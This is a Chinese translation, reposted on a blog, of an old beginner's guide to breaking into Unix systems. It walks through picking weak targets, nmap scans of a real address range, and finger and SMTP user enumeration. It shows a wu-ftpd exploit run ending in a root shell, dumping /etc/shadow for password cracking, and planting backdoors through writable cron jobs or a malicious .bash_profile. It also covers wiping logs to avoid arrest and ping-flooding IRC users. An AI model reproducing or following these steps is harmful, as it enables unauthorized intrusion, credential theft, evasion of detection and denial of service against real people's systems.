unix黑客初学指导(转)

首先说一下写这篇文章的目的,近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释 关于“hack”的一些知识。如果你是个初学者,你应当从头到尾通读这篇文章,或者如果你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这 篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的原因是,让别人不再来问我或者其他人如何去做*愚蠢*的事,是的,问如何去黑 (how to hack)是*愚蠢*的,它让你看起来愚蠢并且学不到任何东西,当然除非你完全不能自学的话。
起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和木马的事,并且使用它们,那时我是一个lamer(瘸子,不完整的)。我在学校 里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技巧,我付给他钱。(snowblue:现在有SQL,无用等一些高手义务的帮助你 们,而你们却不好好的珍惜)他使用UNIX很多年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷 惑,最终我得到了一个shell。我读所有我能够找到的,把所有的时间都花在计算机上,我开始对社会和现实世界失去兴趣。那时候我每天在计算机上花的时间 超过12个小时。我读任何找到的资料,我读的第一篇文章是"mostly harmless hacking"(几乎没有破坏性的入侵),我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。做有关hacking的 网站,尽管我并不知道hacking究竟是什么。我收集windows下的木马和病毒等一些工具,尽管那并不是hacking,但那时候我喜欢它们。随后 我开始用邮件炸弹,flooder,DoS。当我对他们有了了解后,(我意识到那并不是hacking)我回去继续寻找shell。当时我所能找到的免费 的shell都是非常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”,他说不要用linux,用真正的UNIX。他搬到了PA,从那 以后我再也没有他的音讯。我试图找到他并感谢它所教给我的,但没有成功。我得到了一个linux。安装是文本模式的,但它运行很迅速,它比windows 要可乱说话多了,从不死机。但我的56k modem不能工作,我跑到了IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的,win-moden是由软件控制的,他 们通常比硬件modem慢,并且不能再linux下工作。(snowblue:现在大多数的modem在linux下都有驱动,你可以自己寻找)我在命令 行下模式工作,看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作,这太棒了。从那以后我就使用它,并且仍然可以 在那上面学到更多的东西。我的父母说我“对计算机着魔了”,我试图解释我并没有。我从没有对它感到厌烦,我一直能够学到新的东西。那段时间里,我失去了一 些朋友,退出了大学足球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。
目录
1. 普通的知识
2. 需要的东西
3. 简单的入侵
4. 如何进入
5. 列举
6. 常见的失误
7. 缓冲溢出
8. 防火墙
9. 进入之后干些什么
10. 如何才能不被抓住
11. 清除纪录
12. 用途
13. 我对破坏者的看法
否认声明:
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责
1.读这篇文章的最好方法是一次把它读完,然后再读一遍。好吧,现在让我们开始。我假设你已经有了一些基本的知识,知道telnet是什么,一些基本的 tcp/ip的知识等等。如果有一些你并不理解,不要犹豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
需要的东西:
2. 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就可以了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)
容易的目标:
3. 这里我讲一下如何找到一些容易的目标
1. 到altavista.com用日语或其他语言搜索“游戏”,理由是这些站点的安全性较低
2. 扫描一个有很多服务的cable或者dsl子网,你可以用nmap,端口的状态应当是open而不是close或者filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,原因是man page已经有作够的信息了。
3. 确保nmap已经被安装了。使用下面我给出的命令
(注意:$是一个普通的用户,而#则是超级用户。作为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip)
$ nmap -p 21,23 24.112.*.*
进入:
4. 为了能够进入,你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵,所以确保它有一个笨笨的管理员。然后你可以使用exploit。我将在后面详细解释
列举:
5. Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的,你就可以得到以登陆用户的信息。仅仅是telnet然后按下回车。
让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一个login,把它记下来,然后找更多的login。或许你需要暴力穷句。你可以在 www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的消息是"no one is logged on" 或许你需要一个windows下的haktek。同样,你可以在www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另一种方法,你可以用sendmail。如果他们有很多的用户,你可 以尝试telnet并且找几个有效的用户名,还可以找几个程序通过暴力法来完成。看下面,我给出了通过sendmail来得到有效的用户名的例子—
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他们的smtp,敲入expn,然后系统告诉我这是不是一个有效的用户,最后我给出了一个用户不存在的例子,当我敲入 expn Billy,系统告诉我用户不存在,然后我知道这不是一个合法的用户。这同样可以帮助你得到他们的email,然后你就可以尝试一下社会工程学。
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组,或许可以得到一些有用的信息。
另一些可以利用的进程是 systat netstat等等。
telnet还可以帮助你判断出对方的操作系统,当你想exploit时这是非常重要的。当telnet时,有些会给出系统信息,如下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系统是redhat 6.1
有些时候你可以使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人 正在度假,但是他知道某人的名字。他打电话到了Novell的办公室找那个人,然后秘书告诉他那个人正在度假,然后他说它需要和那个人联系,于是它便从秘 书那里得到了那个人的信息。
常见的失误:
6.人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设置上的错误。有些系统对所有人都开放了 write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily的write权限开放给所有人。你就可以上传一个后门程序并通过 cron进程来执行,从而得到系统的访问权。
现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,并且如果它把dcc文件传送设置为自动接收,接受目录为他的主目录。你就可以传给他一 个.bash_profile,文件写的好的话,可以让他做一些事。例如添加一个用户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting:
7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么然后进入下一节。
缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下,你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
$ ./wuftpd-god -s0 -t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
#
如果你想要root的话,exploit是一种方法。查出系统的操作系统,然后到hack.co.za 或者packetstorm 查找那个系统的exploit,你应当得到一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root
当然,如果系统打了exploit的补丁,你或许想知道root的口令是什么。可以敲下面的命令:
(如果没有经过shadow,口令被存放于/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdmicon_mad.gif:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容,但是你需要破解他们,可以用john the ripper,可以在packetstorm或其他地方找到它。我就用它,他很快。(snowbue:支持国产,你可以用小榕的 乱刀可以在在www.netxeyes.com 下载)有时破解一个账号要用几年的时间,所以我并不提倡这种做法。
防火墙:
8. 如果你了解你所作的,防火墙并不能阻止你。我很喜欢用nmap,这个工具非常好。在www.insecure.org 可以找到最新的版本。我喜欢它的OS(操作系统)检测,即使目标只运行了很少的服务,它的检测也很准确。它通过分析目标的tcp指纹并于自身携带的数据库 作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap的,只需敲入man nmap就可以了。
进入以后做什么:
9. 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell,那么就设置一个后门。你可以在www.packetstorm.securify.com 找到后门(木马)。我认为你完全有能力自己独立设置一个后门,但是如果你需要帮助的话,加入$r00t-access,或许我可以帮助你。但是我*不会* 帮助你进入一个系统,不过我或许可以帮助你加固你自己的系统。
如何才能不被抓住:
10. 最主要的事是。别干*蠢*事。如果你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许你需要修改他们的纪录。这就是我想说的。
清除纪录:
11.如果你还向待在这儿而不进监狱的话,清除日志是最重要的工作。在login/hostname中清除纪录,linux里是/var/log,还有你 目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。
用途:
12. 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用它。有时当我看不惯某人的时候,我就 flood他们,就像这样:
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
有人认为这是lame的,但是我通过这样来让某人在IRC里闭嘴。
破坏者:
13.在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。并不是我没有这个能力而是因为 这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈

posted on 2013-02-27 20:55 雨亭 阅读(...) 评论(...) 编辑 收藏

转载于:https://www.cnblogs.com/waterdragon/archive/2013/02/27/2935771.html

unix黑客初学指导(转)相关推荐

  1. Ogre_初学指导_5_场景元素:平面、光源、阴影、摄像机、视口

    场景元素:平面.光源.阴影.摄像机.视口. Plane(平面): 要想理解Plane首先从Plane是如何构造开始学习. 在几何学中,Plane是一个无限延伸没有界限的面,但是在Ogre中Plane是 ...

  2. [转载]如何成为一名黑客

    比较老的文章,但是对我的影响很大,黑客的价值观对coder如同宗教一样重要. from:http://www.unixresources.net/linux/clf/linuxtalk/archive ...

  3. 我看UNIX与Windows的本质区别

    我看UNIX与Windows的本质区别 文化,我首先想到的是文化.Unix和Windows从诞生之初的文化差异本质上划分了两者的界限.直观看来,一个装逼文化,一个傻逼文化. Unix诞生在贝尔实验室的 ...

  4. Unix传奇(下篇)

    2010年04月09日 陈皓 评论 75 条评论 44,560 人阅读 [本文曾于2007年3月于我在CSDN上的BLOG发布,现在我把其搬到酷壳来,一来是觉得这段历史相当传奇,值得大家再看看,二来也 ...

  5. Linux 系统发展史小览 (与Unix区别科普文)

    不少人虽然知道 Unix.Linux等操作系统,甚至可能是技术高手,但知道它们之间那千丝万缕关系的人并不多.其实, Unix,Linux,macOS甚至 iOS.Android 这些操作系统的渊源都颇 ...

  6. 如何成为一名黑客 from Eric Raymond

    作者:Eric Raymond翻译 waterbird [AKA] ------什么是黑客? Jargon File中对"黑客"一词给出了很多个定义,大部分定义都涉及高超的编程技术 ...

  7. Unix与Linux

    花了一天时间,终于把unix.linux.ios.android区别大致联系搞清楚,好像很复杂的样子- 2015-10-31   熊三的馆  文章来源  阅 2272  转 3 转藏到我的图书馆 微信 ...

  8. 经典回顾:Unix在计算机历史上的传奇

    Unix是目前还在存活的操作系统的元老了,走过了40年的历程.由它引发的思想变革,对当今计算机文化造成的深远影响.这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史.Unix的传奇历史是整 ...

  9. 转:Unix传奇(下篇)

    原文自: http://coolshell.cn/articles/2324.html Unix是目前还在存活的操作系统的元老了,走过了40年的历程(参看< Unix 40年:Unix年鉴> ...

最新文章

  1. ryu的防火墙功能 ryu.app.rest_firewall,配合mininet和open vswitch(OVS)
  2. 管理信息系统的开发和管理
  3. QT的QDeadlineTimer类的使用
  4. eslint 禁用命令
  5. 2019年最流行的七大编程语言:学习编程,你会选择哪一种语言呢?
  6. LB-createLB整理架构图-loadbalancer-openstack F版
  7. linux下配置钉钉内网穿透_4G工业路由器内嵌花生壳PHTunnel,为工业物联网提供智能内网穿透...
  8. ios 监听数组个数的变化_iOS 监听数组的变化
  9. 一文看懂中国银联CUPS清结算流程
  10. STM32编程语言介绍
  11. 解决Idea 出现 Could not autowire.. 错误
  12. dockerfile的端口映射
  13. 比 Excel 更强大,Python 的可视化库 Altair 入门
  14. 下单账户与实付账户不一致_如何保护您的不一致帐户
  15. dr优先级默认_OSPF路由器不能成为DR/BDR唯一的方法:DR优先级=0
  16. STM32单片机-汇编指令2
  17. Windows Sockets 规范及应用
  18. 安装51统计代码到html,51La 统计代码放到哪里??
  19. 矩阵的LDU分解简便方法
  20. 【专精特新周报】北交所进入“百企”时代 ,上市后备军充足;贝特瑞拟定增资50亿元,创北交所最大规模再融资记录;上海:年内……...

热门文章

  1. 营业执照经营范围怎么填写
  2. 基于双目视觉的汽车前向障碍物检测
  3. 【无人驾驶视觉系列之】3D障碍物检测SMOKE算法调试分析
  4. The error may exist in XX/XXX/mapper/XXXMapper.xml的解决方法
  5. xmind下载及破解
  6. java: 找不到符号 符号:类xxx位置: 程序包com.xxx.xxx.xxx.xxx
  7. 网址为http://0.0.0.0:8080/ 的页面可能存在问题,或者已永久移动到新的网址。
  8. Python实现遗传算法库
  9. 泸州职业技术学院计算机单招试题,2021年泸州职业技术学院单招英语考试模拟试题库...
  10. 用python打印99乘法表_python如何打印99乘法表